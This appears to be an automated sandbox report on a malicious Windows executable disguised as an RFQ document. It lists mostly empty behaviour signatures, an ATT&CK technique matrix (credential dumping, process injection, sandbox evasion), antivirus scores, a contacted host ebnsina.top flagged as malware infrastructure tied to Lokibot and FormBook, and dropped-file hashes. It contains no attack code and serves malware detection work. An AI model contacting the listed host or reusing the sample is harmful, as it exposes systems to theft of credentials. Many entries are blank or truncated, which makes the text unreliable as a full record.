Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior |
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior |
Source: | API coverage: |
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior |
Source: | Last function: | ||
Source: | Last function: |
Source: | Thread sleep count: | Jump to behavior |
Source: | Code function: | 0_2_0040687E | |
Source: | Code function: | 0_2_00402910 | |
Source: | Code function: | 0_2_00405C2D |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | API call chain: | graph_0-3838 | ||
Source: | API call chain: | graph_0-3835 |
Source: | Process information queried: | Jump to behavior |
Source: | Process queried: | Jump to behavior | ||
Source: | Process queried: | Jump to behavior |
Source: | Code function: | 1_2_02C7DAC0 |
Source: | Code function: | 19_2_002F1BA9 |
Source: | Process token adjusted: | Jump to behavior | ||
Source: | Process token adjusted: | Jump to behavior |
Source: | Code function: | 19_2_002F2523 |
HIPS / PFW / Operating System Protection Evasion |
---|
Source: | Memory written: | Jump to behavior | ||
Source: | Memory written: | Jump to behavior |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Code function: | 19_2_002F23D5 |
Source: | Code function: | 0_2_004034FC |
Source: | Key value queried: | Jump to behavior |
Stealing of Sensitive Information |
---|
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: |
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior |
Source: | File opened: | Jump to behavior |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior |
Remote Access Functionality |
---|
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 DLL Side-Loading | 1 DLL Side-Loading | 1 Deobfuscate/Decode Files or Information | 2 OS Credential Dumping | 1 System Time Discovery | Remote Services | 1 Archive Collected Data | 3 Ingress Tool Transfer | Exfiltration Over Other Network Medium | 1 System Shutdown/Reboot |
Credentials | Domains | Default Accounts | 1 Native API | Boot or Logon Initialization Scripts | 1 Access Token Manipulation | 1 Obfuscated Files or Information | 1 Credentials in Registry | 2 File and Directory Discovery | Remote Desktop Protocol | 2 Data from Local System | 11 Encrypted Channel | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | 12 Command and Scripting Interpreter | Logon Script (Windows) | 111 Process Injection | 1 DLL Side-Loading | Security Account Manager | 17 System Information Discovery | SMB/Windows Admin Shares | 1 Email Collection | 4 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
Employee Names | Virtual Private Server | Local Accounts | 2 PowerShell | Login Hook | Login Hook | 2 Masquerading | NTDS | 111 Security Software Discovery | Distributed Component Object Model | 1 Clipboard Data | 15 Application Layer Protocol | Traffic Duplication | Data Destruction |
Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 41 Virtualization/Sandbox Evasion | LSA Secrets | 1 Process Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Access Token Manipulation | Cached Domain Credentials | 41 Virtualization/Sandbox Evasion | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 111 Process Injection | DCSync | 1 Application Window Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
5% | ReversingLabs | |||
10% | Virustotal | Browse | ||
100% | Avira | HEUR/AGEN.1333748 |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
100% | Avira | HEUR/AGEN.1333748 | ||
5% | ReversingLabs | |||
10% | Virustotal | Browse |
⊘No Antivirus matches
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
19% | Virustotal | Browse |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
100% | URL Reputation | malware | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
100% | Avira URL Cloud | malware | ||
17% | Virustotal | Browse |
Name | IP | Active | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|---|
ebnsina.top | 104.21.13.124 | true | true |
| unknown |
drive.google.com | 192.178.50.78 | true | false | high | |
drive.usercontent.google.com | 192.178.50.65 | true | false | high |
Name | Malicious | Antivirus Detection | Reputation |
---|---|---|---|
true |
| unknown |
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
false | high | |||
false | high | |||
true |
| unknown | ||
false | high | |||
false |
| unknown | ||
false | high | |||
false | high | |||
false |
| unknown | ||
false | high | |||
false |
| unknown | ||
false |
| unknown | ||
false | high | |||
false | high | |||
false | high | |||
false | high | |||
false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|---|
192.178.50.78 | drive.google.com | United States | 15169 | GOOGLEUS | false | |
192.178.50.65 | drive.usercontent.google.com | United States | 15169 | GOOGLEUS | false | |
104.21.13.124 | ebnsina.top | United States | 13335 | CLOUDFLARENETUS | true |
Joe Sandbox version: | 40.0.0 Tourmaline |
Analysis ID: | 1419146 |
Start date and time: | 2024-04-03 06:36:06 +02:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 6m 4s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 23 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | RFQ-SulselBarruII2-COALCOMMLDOC.exe |
Detection: | MAL |
Classification: | mal100.troj.spyw.evad.winEXE@36/14@3/3 |
EGA Information: |
|
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
- Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Execution Graph export aborted for target powershell.exe, PID 5688 because it is empty
- HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- Not all processes where analyzed, report is missing behavior information
- Report size exceeded maximum capacity and may have missing behavior information.
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
Time | Type | Description |
---|---|---|
06:36:56 | API Interceptor | |
06:37:27 | API Interceptor |
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
104.21.13.124 | Get hash | malicious | FormBook | Browse |
| |
Get hash | malicious | FormBook | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
ebnsina.top | Get hash | malicious | Lokibot | Browse |
| |
Get hash | malicious | FormBook | Browse |
| ||
Get hash | malicious | FormBook | Browse |
| ||
Get hash | malicious | FormBook | Browse |
| ||
Get hash | malicious | AgentTesla | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
CLOUDFLARENETUS | Get hash | malicious | AgentTesla | Browse |
| |
Get hash | malicious | AgentTesla | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | LummaC | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | Exela Stealer, Xmrig | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Unknown | Browse |
| |
Get hash | malicious | Vidar | Browse |
| ||
Get hash | malicious | CryptOne | Browse |
| ||
Get hash | malicious | GuLoader, Lokibot | Browse |
| ||
Get hash | malicious | Remcos, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Lokibot | Browse |
| ||
Get hash | malicious | AgentTesla, GuLoader | Browse |
| ||
Get hash | malicious | AgentTesla, GuLoader | Browse |
| ||
Get hash | malicious | AgentTesla, GuLoader | Browse |
| ||
Get hash | malicious | AgentTesla, GuLoader | Browse |
|
⊘No context
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 892 |
Entropy (8bit): | 3.2523301114348917 |
Encrypted: | false |
SSDEEP: | 12:8wl0O0sXowAOcuJEIZ9ZltlmR9OQSmltlvoRKQ1wlFsAlqO3lYPRN1A4t2YZ/elr:8eLgO9Zlt4rOQbltto96x3lYz+qy |
MD5: | F84967EDD9B9FFDC72D697F60B6065BB |
SHA1: | 9CB0F00FAE32EAE9FF2F650762C93CFCFE8FCE7D |
SHA-256: | 508BF6303759364A05EDA18267C9BABAD41793170C65422B2A8F467F7FAECDD1 |
SHA-512: | 95D83F3B9EAFFC90652ED112A2142A3E42269C2C97D9E691D8B8CB700F3215C037D8BF1ACC86B3610877C4EBAA00249785C4A9A9AB4F4D99099DD615462AAD68 |
Malicious: | false |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | modified |
Size (bytes): | 8003 |
Entropy (8bit): | 4.838950934453595 |
Encrypted: | false |
SSDEEP: | 192:Dxoe5nVsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9smMdcU6CDpOeik:N+VoGIpN6KQkj2xkjh4iUxeLib4J |
MD5: | 4C24412D4F060F4632C0BD68CC9ECB54 |
SHA1: | 3856F6E5CCFF8080EC0DBAC6C25DD8A5E18205DF |
SHA-256: | 411F07FE2630E87835E434D00DC55E581BA38ECA0C2025913FB80066B2FFF2CE |
SHA-512: | 6538B1A33BF4234E20D156A87C1D5A4D281EFD9A5670A97D61E3A4D0697D5FFE37493B490C2E68F0D9A1FD0A615D0B2729D170008B3C15FA1DD6CAADDE985A1C |
Malicious: | false |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 341995 |
Entropy (8bit): | 0.681328297606635 |
Encrypted: | false |
SSDEEP: | 768:YYv2jfcXjveUx72Yj7X5I7TO8Cr6qgLE89h3R71p6qRfOU0Ane1k9M/qlvFNLxI:B5jnc3 |
MD5: | F8C0FEE8DE3E2F93E8EA22388A77BB09 |
SHA1: | 9BBA5C653A1A83A35EB65CBCA505C659C59662B5 |
SHA-256: | DED32062860DB523C6436B432F22EE503F7706DCCD75BA2825A4470D58C1412D |
SHA-512: | 2FCD5EB3BBC0BD881FC4C8E271B233851A2C1B39F8E6DB7CD937005C1A1D0AC2F8C1219CBFAEAD1F70D13D3A7E1C8ACB79297AD9EFA8F3289591A022EB34338B |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 401860 |
Entropy (8bit): | 0.6832204695585447 |
Encrypted: | false |
SSDEEP: | 768:uPDccdaFpHi7QWY7vVTnSy0DwPh3PY0YVcf0aVr+LBgaP1mbQZk2hD+FyqYhyNBR:kTOnd1NOBp9 |
MD5: | 21D2EBDF40706EC8FC35650094126A9A |
SHA1: | 53519EC395F2E3FC49D97216FB54A9A0088A851F |
SHA-256: | 92CC335F5AAA5F481ED32B10F95853A4D478BE368F9FEDDC20F6B7731923D066 |
SHA-512: | B648C3934055358CB18DCE32A8459E5475B82C8EAC011528E7DA4C4D1573D680672D275CFB78E6DA26FB40FF72DFB31DD94C91611874D1A79E255B1B074ABE4D |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 276346 |
Entropy (8bit): | 0.6771300916913716 |
Encrypted: | false |
SSDEEP: | 768:50QftKJWNEsYKIleNCcQySVfmGhwwFp7L9jRspT56:zhO7Q |
MD5: | B140848A979AA1806772DAB19A298710 |
SHA1: | 7A7107A4839F01C3AA087212763E93ECD7904A21 |
SHA-256: | 05D0F6C869793EF28EE232A704382092E71FA20B9B1A33D39DE36C374967F903 |
SHA-512: | A3CAE2CE90C61B08143C47774DBE8ECA90FBF748F986CA5F0ECBF140F29C57EA50093D12AF65B0D565755D4A50F8202EDC8FA8A828481C85791E30854C5AEF9E |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\RFQ-SulselBarruII2-COALCOMMLDOC.exe ![AV hit](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAXCAYAAAARIY8tAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQyIDc5LjE2MDkyNCwgMjAxNy8wNy8xMy0wMTowNjozOSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6N0I2MkE5MENFMDExMTFFN0IwMUVBNjlCREU2MTc3OTIiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6N0I2MkE5MEJFMDExMTFFN0IwMUVBNjlCREU2MTc3OTIiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjUxREYxNzEwRTAxMTExRTc4NzA2RDNFQTNEMTNCRTY1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjUxREYxNzExRTAxMTExRTc4NzA2RDNFQTNEMTNCRTY1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+WYtJ4AAAArxJREFUeNqsVU2IUlEUPu89fxJnBkW30y4KElpFtRnTpSmBIuQmysiVEaSBJkHLCMbQTaQVhD+VWqDgOAhtQiKZaDG1aAaMFi4CUzDJ1Abt3JdPnvp8KnXgcO99597vO++cc8+lBoMB8IWiKBCSGx4PMZxHvbO/t3dMubJyXyKR3E7E4wdC+zlcah4BAqtwsKNeRz1Ovn3c3WVtMpmsp1QqX0plsltI9HUhAo/XewSHk0M9NRwl/D0cAd8puVzeQqIv+FdlhmG2kolEFiYPDmUflhTiZKfTWUU9gUuiLsJLbLTA/gP4R+GHWYjg57KANE2D3W4Hp9PJglM0PfhvBBhz8Pv94HA4oFgssuGiKaovRtBbxnOfzwd6vR6CwSBUq1XuuyhBbVECt9sNGxsbkM/noVQq8Ym7YgTfFgG3Wq1gNpuhVqtBNBods2GZ/hAj+DwPXKfTgcvlYufhcBja7fZkXipiBB94noDFYgGtVjsyKhQKCAQCbPzL5TKrk8JIJO/ECF6Tu0Mmh9fX4Swm8KbXCwaDgQW12Wyg0Wig3+9DJBIRriyGeTC6E0K9CPvPW5yeIetzJhMYjUbWVq/XWXAiJLGhUGgKHP+wmcvlVBwuPSPMj7lJYXsbKpW/IeXAsSVALBYTPHhIociMlfIMgufEYTIhoYjF49BqtUbGbDYLjUZjOvYM05dKpb65BMHNTXKb73FrAk5IyG/3ej3IZDKCXq2urb3Ctv19LB8i1UgC7EQ9ShYkTFuFAltFzWZzajO26y6+D5enGp/Yg4PJPo3DG1QpZ0MQeL+zM3VGo9VeeJZMvph8cGixC4WhIvV8jX+o2+1O7VOpVE/54IskmU/yEAf/LDuCF1Kp1KWZDXGRvoMkd3G4ivqbHxa1Wv0knU6bRDvuop0TSR4NL98nTOgvvBMX0fMr8879EWAAxCD3JoAqg14AAAAASUVORK5CYII=)
![malicious](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAXCAYAAAARIY8tAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQyIDc5LjE2MDkyNCwgMjAxNy8wNy8xMy0wMTowNjozOSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1MURGMTcxMEUwMTExMUU3ODcwNkQzRUEzRDEzQkU2NSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1MURGMTcxMUUwMTExMUU3ODcwNkQzRUEzRDEzQkU2NSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjUxREYxNzBFRTAxMTExRTc4NzA2RDNFQTNEMTNCRTY1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjUxREYxNzBGRTAxMTExRTc4NzA2RDNFQTNEMTNCRTY1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+ndzG2gAAA2JJREFUeNq0VVtIlEEU/nZXaTc1txbLMkrFxAuolA+Z3dQgqIdE0dSy1gclezJt1VWrh9TSBzUqKCorMs1L0ENJqV0helBMxTCSykUSzby77pKX7czorr/r6mLggcPMf/453zdz5pwzIoPBgNUUMVZZRJaM0evlUTRUrRArpmpouNIqAYFLaeggdV0hgYbUm0h01kJ0zhK4o9NGwdzJEsF20tRl74B270xDltC2RiZDpEqFTa7bTbbNHh6ISEvj/8xETRhbljtBPqm90JBV8xTa4WF8a2w02b5++oSJ0VGoq2vMCezmMBYTEPNOGpTmHjIHBwz09CyKB7OtXbfOUqhOEVagpROULJVVTCS2tjiafJYrm1vJzBIi4Vg2grTct5THjl2BiM5UQz8xwb8PxsXhc339ciTBDJa0UjyXloWWVsns7XmIjqWk8H29vH0Lz2/eoLmI29g/pktIAWHLJL4yqYo+IheckQAOxMZCVV4BhYuLKU19gvfCOygILp6eszcqlyPk5AmMDQ5C095uTiAn1TECVrGmbbj6+UFVVoag8HA8K7mGvzodnN3dIRaLURgXi8baFzxEM9PTNK9F3b27iL14CbvDj+FHSwuG+/qEJL4iOoZamF